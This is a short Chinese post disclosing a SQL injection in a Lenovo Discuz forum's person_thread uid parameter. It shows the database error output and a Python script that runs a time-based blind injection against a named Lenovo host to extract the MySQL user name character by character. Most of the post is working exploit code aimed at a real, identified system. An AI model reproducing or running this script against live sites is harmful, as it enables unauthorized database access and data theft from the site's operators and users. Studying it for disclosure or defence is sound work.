联想某Discuz论坛MySQL注入附猜解脚本

http://lenovobbs.lcf5.lenovo.com.cn/forum.php?mod=person_thread&uid=aa

Discuz! Database Error
 (1054) Unknown column 'aa' in 'where clause'
 select * from forum_thread where authorid in(aa)

Discuz! Database Error
 (1203) notconnect

import httplib
 import time
 import string
 import sys
 import random
 import urllib
 
 headers = {
     'Cookie': '',
     'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
 }
 
 payloads = list(string.ascii_lowercase)
 payloads += list(string.ascii_uppercase)
 for i in range(0,10):
     payloads.append(str(i))
 payloads += ['@','_', '.', '-', '//', ' ']
 
 print 'start to retrive MySQL user:'
 user = ''
 for i in range(1,30,1):
     for payload in payloads:
         try:
             conn = httplib.HTTPConnection('thinkbbs.lenovo.com.cn', timeout=10)
             rand_num = str(random.random())
             url = "/forum.php?mod=person_thread&uid=" + urllib.quote("sleep(ascii(mid(user()from(%s)for(1)))=%s)" % (i, ord(payload)) )
             conn.request(method='GET', url=url,
                          headers = headers)
             start_time = time.time()
             html_doc = conn.getresponse().read()
             conn.close()
             print '.',
         except:
             user += payload
             print '/n[in progress]', user
             break
 
 print '/nMySQL user is', user